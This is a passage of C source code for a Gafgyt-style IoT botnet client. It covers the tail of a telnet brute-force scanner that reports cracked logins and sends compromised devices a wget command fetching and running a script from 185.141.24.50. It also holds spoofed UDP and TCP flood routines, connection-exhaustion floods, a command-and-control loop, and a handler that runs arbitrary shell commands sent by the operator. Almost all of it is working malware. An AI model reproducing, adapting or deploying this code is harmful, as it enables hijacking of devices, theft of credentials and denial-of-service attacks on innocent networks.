  949. if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  950. fds[i].state = 10;
  951. }
  952. break;
  953.  
  954. case 10:
  955. {
  956. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  957.  
  958. if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  959. {
  960. fds[i].totalTimeout = 0;
  961. fds[i].bufUsed = 0;
  962. if(strstr(fds[i].sockbuf, "multi-call") != NULL) sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  963. memset(fds[i].sockbuf, 0, 1024);
  964. sclose(fds[i].fd);
  965. fds[i].complete = 1;
  966. //fds[i].lastWorked = 1;
  967. fds[i].state = 0;
  968. continue;
  969. } else {
  970. fds[i].bufUsed = strlen(fds[i].sockbuf);
  971. }
  972.  
  973. if(fds[i].totalTimeout + 30 < time(NULL))
  974. {
  975. sclose(fds[i].fd);
  976. fds[i].state = 0;
  977. fds[i].complete = 1;
  978. }
  979. }
  980. break;
  981.  
  982. case 100:
  983. {
  984. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  985. fds[i].state = 101;
  986. }
  987. break;
  988.  
  989. case 101:
  990. {
  991. if(send(fds[i].fd, "cd /tmp && wget http://185.141.24.50/binaries.sh && chmod +x binaries.sh && sh binaries.sh && rm -f binaries.sh\r\n", 143, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  992. fds[i].state = 102;
  993. }
  994. break;
  995.  
  996.  
  997. case 102:
  998. {
  999. if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1000. fds[i].state = 103;
  1001. }
  1002. break;
  1003.  
  1004. case 103:
  1005. {
  1006. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1007.  
  1008. if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1009. {
  1010. fds[i].totalTimeout = 0;
  1011. fds[i].bufUsed = 0;
  1012. sockprintf(mainCommSock, "REPORT %s:%s:", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd]);
  1013. sclose(fds[i].fd);
  1014. fds[i].state = 0;
  1015. memset(fds[i].sockbuf, 0, 1024);
  1016. fds[i].complete = 1;
  1017. //fds[i].lastWorked = 1;
  1018. continue;
  1019. } else {
  1020. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1021. }
  1022.  
  1023. if(fds[i].totalTimeout + 30 < time(NULL))
  1024. {
  1025. sclose(fds[i].fd);
  1026. fds[i].state = 0;
  1027. fds[i].complete = 1;
  1028. }
  1029. }
  1030. break;
  1031.  
  1032. }
  1033. }
  1034. }
  1035. }
  1036.  
  1037.  
  1038.  
  1039. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1040. {
  1041. struct sockaddr_in dest_addr;
  1042.  
  1043. dest_addr.sin_family = AF_INET;
  1044. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1045. else dest_addr.sin_port = htons(port);
  1046. if(getHost(target, &dest_addr.sin_addr)) return;
  1047. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1048.  
  1049. register unsigned int pollRegister;
  1050. pollRegister = pollinterval;
  1051.  
  1052. if(spoofit == 32)
  1053. {
  1054. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1055. if(!sockfd)
  1056. {
  1057. sockprintf(mainCommSock, "Failed opening raw socket.");
  1058. return;
  1059. }
  1060.  
  1061. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1062. if(buf == NULL) return;
  1063. memset(buf, 0, packetsize + 1);
  1064. makeRandomStr(buf, packetsize);
  1065.  
  1066. int end = time(NULL) + timeEnd;
  1067. register unsigned int i = 0;
  1068. while(1)
  1069. {
  1070. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1071.  
  1072. if(i == pollRegister)
  1073. {
  1074. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1075. if(time(NULL) > end) break;
  1076. i = 0;
  1077. continue;
  1078. }
  1079. i++;
  1080. }
  1081. } else {
  1082. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1083. if(!sockfd)
  1084. {
  1085. sockprintf(mainCommSock, "Failed opening raw socket.");
  1086. return;
  1087. }
  1088.  
  1089. int tmp = 1;
  1090. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1091. {
  1092. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1093. return;
  1094. }
  1095.  
  1096. int counter = 50;
  1097. while(counter--)
  1098. {
  1099. srand(time(NULL) ^ rand_cmwc());
  1100. init_rand(rand());
  1101. }
  1102.  
  1103. in_addr_t netmask;
  1104.  
  1105. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1106. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1107.  
  1108. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1109. struct iphdr *iph = (struct iphdr *)packet;
  1110. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1111.  
  1112. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1113.  
  1114. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1115. udph->source = rand_cmwc();
  1116. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1117. udph->check = 0;
  1118.  
  1119. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1120.  
  1121. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1122.  
  1123. int end = time(NULL) + timeEnd;
  1124. register unsigned int i = 0;
  1125. while(1)
  1126. {
  1127. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1128.  
  1129. udph->source = rand_cmwc();
  1130. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1131. iph->id = rand_cmwc();
  1132. iph->saddr = htonl( getRandomIP(netmask) );
  1133. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1134.  
  1135. if(i == pollRegister)
  1136. {
  1137. if(time(NULL) > end) break;
  1138. i = 0;
  1139. continue;
  1140. }
  1141. i++;
  1142. }
  1143. }
  1144. }
  1145.  
  1146.  
  1147.  
  1148. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1149. {
  1150. register unsigned int pollRegister;
  1151. pollRegister = pollinterval;
  1152.  
  1153. struct sockaddr_in dest_addr;
  1154.  
  1155. dest_addr.sin_family = AF_INET;
  1156. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1157. else dest_addr.sin_port = htons(port);
  1158. if(getHost(target, &dest_addr.sin_addr)) return;
  1159. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1160.  
  1161. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1162. if(!sockfd)
  1163. {
  1164. sockprintf(mainCommSock, "Failed opening raw socket.");
  1165. return;
  1166. }
  1167.  
  1168. int tmp = 1;
  1169. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1170. {
  1171. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1172. return;
  1173. }
  1174.  
  1175. in_addr_t netmask;
  1176.  
  1177. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1178. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1179.  
  1180. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1181. struct iphdr *iph = (struct iphdr *)packet;
  1182. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1183.  
  1184. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1185.  
  1186. tcph->source = rand_cmwc();
  1187. tcph->seq = rand_cmwc();
  1188. tcph->ack_seq = 0;
  1189. tcph->doff = 5;
  1190.  
  1191. if(!strcmp(flags, "all"))
  1192. {
  1193. tcph->syn = 1;
  1194. tcph->rst = 1;
  1195. tcph->fin = 1;
  1196. tcph->ack = 1;
  1197. tcph->psh = 1;
  1198. } else {
  1199. unsigned char *pch = strtok(flags, ",");
  1200. while(pch)
  1201. {
  1202. if(!strcmp(pch, "syn"))
  1203. {
  1204. tcph->syn = 1;
  1205. } else if(!strcmp(pch, "rst"))
  1206. {
  1207. tcph->rst = 1;
  1208. } else if(!strcmp(pch, "fin"))
  1209. {
  1210. tcph->fin = 1;
  1211. } else if(!strcmp(pch, "ack"))
  1212. {
  1213. tcph->ack = 1;
  1214. } else if(!strcmp(pch, "psh"))
  1215. {
  1216. tcph->psh = 1;
  1217. } else {
  1218. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1219. }
  1220. pch = strtok(NULL, ",");
  1221. }
  1222. }
  1223.  
  1224. tcph->window = rand_cmwc();
  1225. tcph->check = 0;
  1226. tcph->urg_ptr = 0;
  1227. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1228. tcph->check = tcpcsum(iph, tcph);
  1229.  
  1230. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1231.  
  1232. int end = time(NULL) + timeEnd;
  1233. register unsigned int i = 0;
  1234. while(1)
  1235. {
  1236. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1237.  
  1238. iph->saddr = htonl( getRandomIP(netmask) );
  1239. iph->id = rand_cmwc();
  1240. tcph->seq = rand_cmwc();
  1241. tcph->source = rand_cmwc();
  1242. tcph->check = 0;
  1243. tcph->check = tcpcsum(iph, tcph);
  1244. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1245.  
  1246. if(i == pollRegister)
  1247. {
  1248. if(time(NULL) > end) break;
  1249. i = 0;
  1250. continue;
  1251. }
  1252. i++;
  1253. }
  1254. }
  1255.  
  1256.  
  1257.  
  1258. void sendJUNK(unsigned char *ip, int port, int end_time)
  1259. {
  1260.  
  1261. int max = getdtablesize() / 2, i;
  1262.  
  1263. struct sockaddr_in dest_addr;
  1264. dest_addr.sin_family = AF_INET;
  1265. dest_addr.sin_port = htons(port);
  1266. if(getHost(ip, &dest_addr.sin_addr)) return;
  1267. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1268.  
  1269. struct state_t
  1270. {
  1271. int fd;
  1272. uint8_t state;
  1273. } fds[max];
  1274. memset(fds, 0, max * (sizeof(int) + 1));
  1275.  
  1276. fd_set myset;
  1277. struct timeval tv;
  1278. socklen_t lon;
  1279. int valopt, res;
  1280.  
  1281. unsigned char *watwat = malloc(1024);
  1282. memset(watwat, 0, 1024);
  1283.  
  1284. int end = time(NULL) + end_time;
  1285. while(end > time(NULL))
  1286. {
  1287. for(i = 0; i < max; i++)
  1288. {
  1289. switch(fds[i].state)
  1290. {
  1291. case 0:
  1292. {
  1293. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1294. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1295. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1296. else fds[i].state = 1;
  1297. }
  1298. break;
  1299.  
  1300. case 1:
  1301. {
  1302. FD_ZERO(&myset);
  1303. FD_SET(fds[i].fd, &myset);
  1304. tv.tv_sec = 0;
  1305. tv.tv_usec = 10000;
  1306. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1307. if(res == 1)
  1308. {
  1309. lon = sizeof(int);
  1310. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1311. if(valopt)
  1312. {
  1313. close(fds[i].fd);
  1314. fds[i].state = 0;
  1315. } else {
  1316. fds[i].state = 2;
  1317. }
  1318. } else if(res == -1)
  1319. {
  1320. close(fds[i].fd);
  1321. fds[i].state = 0;
  1322. }
  1323. }
  1324. break;
  1325.  
  1326. case 2:
  1327. {
  1328. //nonblocking sweg
  1329. makeRandomStr(watwat, 1024);
  1330. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1331. {
  1332. close(fds[i].fd);
  1333. fds[i].state = 0;
  1334. }
  1335. }
  1336. break;
  1337. }
  1338. }
  1339. }
  1340. }
  1341.  
  1342.  
  1343.  
  1344. void sendHOLD(unsigned char *ip, int port, int end_time)
  1345. {
  1346.  
  1347. int max = getdtablesize() / 2, i;
  1348.  
  1349. struct sockaddr_in dest_addr;
  1350. dest_addr.sin_family = AF_INET;
  1351. dest_addr.sin_port = htons(port);
  1352. if(getHost(ip, &dest_addr.sin_addr)) return;
  1353. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1354.  
  1355. struct state_t
  1356. {
  1357. int fd;
  1358. uint8_t state;
  1359. } fds[max];
  1360. memset(fds, 0, max * (sizeof(int) + 1));
  1361.  
  1362. fd_set myset;
  1363. struct timeval tv;
  1364. socklen_t lon;
  1365. int valopt, res;
  1366.  
  1367. unsigned char *watwat = malloc(1024);
  1368. memset(watwat, 0, 1024);
  1369.  
  1370. int end = time(NULL) + end_time;
  1371. while(end > time(NULL))
  1372. {
  1373. for(i = 0; i < max; i++)
  1374. {
  1375. switch(fds[i].state)
  1376. {
  1377. case 0:
  1378. {
  1379. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1380. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1381. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1382. else fds[i].state = 1;
  1383. }
  1384. break;
  1385.  
  1386. case 1:
  1387. {
  1388. FD_ZERO(&myset);
  1389. FD_SET(fds[i].fd, &myset);
  1390. tv.tv_sec = 0;
  1391. tv.tv_usec = 10000;
  1392. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1393. if(res == 1)
  1394. {
  1395. lon = sizeof(int);
  1396. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1397. if(valopt)
  1398. {
  1399. close(fds[i].fd);
  1400. fds[i].state = 0;
  1401. } else {
  1402. fds[i].state = 2;
  1403. }
  1404. } else if(res == -1)
  1405. {
  1406. close(fds[i].fd);
  1407. fds[i].state = 0;
  1408. }
  1409. }
  1410. break;
  1411.  
  1412. case 2:
  1413. {
  1414. FD_ZERO(&myset);
  1415. FD_SET(fds[i].fd, &myset);
  1416. tv.tv_sec = 0;
  1417. tv.tv_usec = 10000;
  1418. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1419. if(res != 0)
  1420. {
  1421. close(fds[i].fd);
  1422. fds[i].state = 0;
  1423. }
  1424. }
  1425. break;
  1426. }
  1427. }
  1428. }
  1429. }
  1430.  
  1431.  
  1432. void processCmd(int argc, unsigned char *argv[])
  1433. {
  1434. if(!strcmp(argv[0], "PING"))
  1435. {
  1436. sockprintf(mainCommSock, "PONG!");
  1437. return;
  1438. }
  1439.  
  1440. if(!strcmp(argv[0], "GETLOCALIP"))
  1441. {
  1442. sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1443. return;
  1444. }
  1445.  
  1446. if(!strcmp(argv[0], "SCANNER"))
  1447. {
  1448. if(argc != 2)
  1449. {
  1450. sockprintf(mainCommSock, "SCANNER ON | OFF");
  1451. return;
  1452. }
  1453.  
  1454. if(!strcmp(argv[1], "OFF"))
  1455. {
  1456. if(scanPid == 0) return;
  1457.  
  1458. kill(scanPid, 9);
  1459. scanPid = 0;
  1460. }
  1461.  
  1462. if(!strcmp(argv[1], "ON"))
  1463. {
  1464. if(scanPid != 0) return;
  1465. uint32_t parent;
  1466. parent = fork();
  1467. if (parent > 0) { scanPid = parent; return;}
  1468. else if(parent == -1) return;
  1469.  
  1470. StartTheLelz();
  1471. _exit(0);
  1472. }
  1473. }
  1474.  
  1475.  
  1476. if(!strcmp(argv[0], "HOLD"))
  1477. {
  1478. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1479. {
  1480. sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1481. return;
  1482. }
  1483.  
  1484. unsigned char *ip = argv[1];
  1485. int port = atoi(argv[2]);
  1486. int time = atoi(argv[3]);
  1487.  
  1488. if(strstr(ip, ",") != NULL)
  1489. {
  1490. sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  1491. unsigned char *hi = strtok(ip, ",");
  1492. while(hi != NULL)
  1493. {
  1494. if(!listFork())
  1495. {
  1496. sendHOLD(hi, port, time);
  1497. close(mainCommSock);
  1498. _exit(0);
  1499. }
  1500. hi = strtok(NULL, ",");
  1501. }
  1502. } else {
  1503. if (listFork()) { return; }
  1504.  
  1505. sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  1506. sendHOLD(ip, port, time);
  1507. close(mainCommSock);
  1508.  
  1509. _exit(0);
  1510. }
  1511. }
  1512.  
  1513. if(!strcmp(argv[0], "JUNK"))
  1514. {
  1515. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1516. {
  1517. sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1518. return;
  1519. }
  1520.  
  1521. unsigned char *ip = argv[1];
  1522. int port = atoi(argv[2]);
  1523. int time = atoi(argv[3]);
  1524.  
  1525. if(strstr(ip, ",") != NULL)
  1526. {
  1527. sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  1528. unsigned char *hi = strtok(ip, ",");
  1529. while(hi != NULL)
  1530. {
  1531. if(!listFork())
  1532. {
  1533. sendJUNK(hi, port, time);
  1534. close(mainCommSock);
  1535. _exit(0);
  1536. }
  1537. hi = strtok(NULL, ",");
  1538. }
  1539. } else {
  1540. if (listFork()) { return; }
  1541.  
  1542. sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  1543. sendJUNK(ip, port, time);
  1544. close(mainCommSock);
  1545.  
  1546. _exit(0);
  1547. }
  1548. }
  1549.  
  1550. if(!strcmp(argv[0], "UDP"))
  1551. {
  1552. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1553. {
  1554. sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1555. return;
  1556. }
  1557.  
  1558. unsigned char *ip = argv[1];
  1559. int port = atoi(argv[2]);
  1560. int time = atoi(argv[3]);
  1561. int spoofed = atoi(argv[4]);
  1562. int packetsize = atoi(argv[5]);
  1563. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1564.  
  1565. if(strstr(ip, ",") != NULL)
  1566. {
  1567. sockprintf(mainCommSock, "UDP Flooding %s for %d seconds.", ip, time);
  1568. unsigned char *hi = strtok(ip, ",");
  1569. while(hi != NULL)
  1570. {
  1571. if(!listFork())
  1572. {
  1573. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1574. close(mainCommSock);
  1575. _exit(0);
  1576. }
  1577. hi = strtok(NULL, ",");
  1578. }
  1579. } else {
  1580. if (listFork()) { return; }
  1581.  
  1582. sockprintf(mainCommSock, "UDP Flooding %s:%d for %d seconds.", ip, port, time);
  1583. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1584. close(mainCommSock);
  1585.  
  1586. _exit(0);
  1587. }
  1588. }
  1589.  
  1590. if(!strcmp(argv[0], "TCP"))
  1591. {
  1592. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1593. {
  1594. sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1595. return;
  1596. }
  1597.  
  1598. unsigned char *ip = argv[1];
  1599. int port = atoi(argv[2]);
  1600. int time = atoi(argv[3]);
  1601. int spoofed = atoi(argv[4]);
  1602. unsigned char *flags = argv[5];
  1603.  
  1604. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1605. int psize = argc > 6 ? atoi(argv[6]) : 0;
  1606.  
  1607. if(strstr(ip, ",") != NULL)
  1608. {
  1609. sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  1610. unsigned char *hi = strtok(ip, ",");
  1611. while(hi != NULL)
  1612. {
  1613. if(!listFork())
  1614. {
  1615. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1616. close(mainCommSock);
  1617. _exit(0);
  1618. }
  1619. hi = strtok(NULL, ",");
  1620. }
  1621. } else {
  1622. if (listFork()) { return; }
  1623.  
  1624. sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  1625. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1626. close(mainCommSock);
  1627.  
  1628. _exit(0);
  1629. }
  1630. }
  1631.  
  1632. if(!strcmp(argv[0], "KILLATTK"))
  1633. {
  1634. int killed = 0;
  1635. unsigned long i;
  1636. for (i = 0; i < numpids; i++) {
  1637. if (pids[i] != 0 && pids[i] != getpid()) {
  1638. kill(pids[i], 9);
  1639. killed++;
  1640. }
  1641. }
  1642.  
  1643. if(killed > 0)
  1644. {
  1645. sockprintf(mainCommSock, "Killed %d.", killed);
  1646. } else {
  1647. sockprintf(mainCommSock, "None Killed.");
  1648. }
  1649. }
  1650.  
  1651. if(!strcmp(argv[0], "LOLNOGTFO"))
  1652. {
  1653. exit(0);
  1654. }
  1655. }
  1656.  
  1657. int initConnection()
  1658. {
  1659. unsigned char server[512];
  1660. memset(server, 0, 512);
  1661. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1662. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1663. else currentServer++;
  1664.  
  1665. strcpy(server, commServer[currentServer]);
  1666. int port = 6667;
  1667. if(strchr(server, ':') != NULL)
  1668. {
  1669. port = atoi(strchr(server, ':') + 1);
  1670. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1671. }
  1672.  
  1673. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1674.  
  1675. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1676.  
  1677. return 0;
  1678. }
  1679.  
  1680. int getOurIP()
  1681. {
  1682. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1683. if(sock == -1) return 0;
  1684.  
  1685. struct sockaddr_in serv;
  1686. memset(&serv, 0, sizeof(serv));
  1687. serv.sin_family = AF_INET;
  1688. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1689. serv.sin_port = htons(53);
  1690.  
  1691. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1692. if(err == -1) return 0;
  1693.  
  1694. struct sockaddr_in name;
  1695. socklen_t namelen = sizeof(name);
  1696. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1697. if(err == -1) return 0;
  1698.  
  1699. ourIP.s_addr = name.sin_addr.s_addr;
  1700.  
  1701. int cmdline = open("/proc/net/route", O_RDONLY);
  1702. char linebuf[4096];
  1703. while(fdgets(linebuf, 4096, cmdline) != NULL)
  1704. {
  1705. if(strstr(linebuf, "\t00000000\t") != NULL)
  1706. {
  1707. unsigned char *pos = linebuf;
  1708. while(*pos != '\t') pos++;
  1709. *pos = 0;
  1710. break;
  1711. }
  1712. memset(linebuf, 0, 4096);
  1713. }
  1714. close(cmdline);
  1715.  
  1716. if(*linebuf)
  1717. {
  1718. int i;
  1719. struct ifreq ifr;
  1720. strcpy(ifr.ifr_name, linebuf);
  1721. ioctl(sock, SIOCGIFHWADDR, &ifr);
  1722. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1723. }
  1724.  
  1725. close(sock);
  1726. }
  1727.  
  1728.  
  1729. int main(int argc, unsigned char *argv[])
  1730. {
  1731. if(SERVER_LIST_SIZE <= 0) return 0;
  1732.  
  1733. srand(time(NULL) ^ getpid());
  1734. init_rand(time(NULL) ^ getpid());
  1735.  
  1736. pid_t pid1;
  1737. pid_t pid2;
  1738. int status;
  1739.  
  1740. getOurIP();
  1741. zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
  1742.  
  1743. if (pid1 = fork()) {
  1744. waitpid(pid1, &status, 0);
  1745. exit(0);
  1746. } else if (!pid1) {
  1747. if (pid2 = fork()) {
  1748. exit(0);
  1749. } else if (!pid2) {
  1750. } else {
  1751. zprintf("fork failed\n");
  1752. }
  1753. } else {
  1754. zprintf("fork failed\n");
  1755. }
  1756.  
  1757. setsid();
  1758. chdir("/");
  1759.  
  1760. signal(SIGPIPE, SIG_IGN);
  1761.  
  1762. while(1)
  1763. {
  1764. if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
  1765.  
  1766. sockprintf(mainCommSock, "BUILD %s");
  1767.  
  1768. char commBuf[4096];
  1769. int got = 0;
  1770. int i = 0;
  1771. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1772. {
  1773. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1774. unsigned int *newpids, on;
  1775. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1776. pids[on - 1] = 0;
  1777. numpids--;
  1778. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1779. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1780. free(pids);
  1781. pids = newpids;
  1782. }
  1783.  
  1784. commBuf[got] = 0x00;
  1785.  
  1786. trim(commBuf);
  1787.  
  1788. if(strstr(commBuf, "PING") == commBuf)
  1789. {
  1790. sockprintf(mainCommSock, "PONG");
  1791. continue;
  1792. }
  1793.  
  1794. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1795.  
  1796. unsigned char *message = commBuf;
  1797.  
  1798. if(*message == '!')
  1799. {
  1800. unsigned char *nickMask = message + 1;
  1801. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1802. if(*nickMask == 0x00) continue;
  1803. *(nickMask) = 0x00;
  1804. nickMask = message + 1;
  1805.  
  1806. message = message + strlen(nickMask) + 2;
  1807. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1808.  
  1809. unsigned char *command = message;
  1810. while(*message != ' ' && *message != 0x00) message++;
  1811. *message = 0x00;
  1812. message++;
  1813.  
  1814. unsigned char *tmpcommand = command;
  1815. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1816.  
  1817. if(strcmp(command, "SH") == 0)
  1818. {
  1819. unsigned char buf[1024];
  1820. int command;
  1821. if (listFork()) continue;
  1822. memset(buf, 0, 1024);
  1823. szprintf(buf, "%s 2>&1", message);
  1824. command = fdpopen(buf, "r");
  1825. while(fdgets(buf, 1024, command) != NULL)
  1826. {
  1827. trim(buf);
  1828. sockprintf(mainCommSock, "%s", buf);
  1829. memset(buf, 0, 1024);
  1830. sleep(1);
  1831. }
  1832. fdpclose(command);
  1833. exit(0);
  1834. }
  1835.  
  1836. unsigned char *params[10];
  1837. int paramsCount = 1;
  1838. unsigned char *pch = strtok(message, " ");
  1839. params[0] = command;
  1840.  
  1841. while(pch)
  1842. {
  1843. if(*pch != '\n')
  1844. {
  1845. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1846. memset(params[paramsCount], 0, strlen(pch) + 1);
  1847. strcpy(params[paramsCount], pch);
  1848. paramsCount++;
  1849. }
  1850. pch = strtok(NULL, " ");
  1851. }
  1852.  
  1853. processCmd(paramsCount, params);
  1854.  
  1855. if(paramsCount > 1)
  1856. {
  1857. int q = 1;
  1858. for(q = 1; q < paramsCount; q++)
  1859. {
  1860. free(params[q]);
  1861. }
  1862. }
  1863. }
  1864. }
  1865. printf("Link closed by server.\n");
  1866. }
  1867.  
  1868. return 0;
  1869.  
  1870. }
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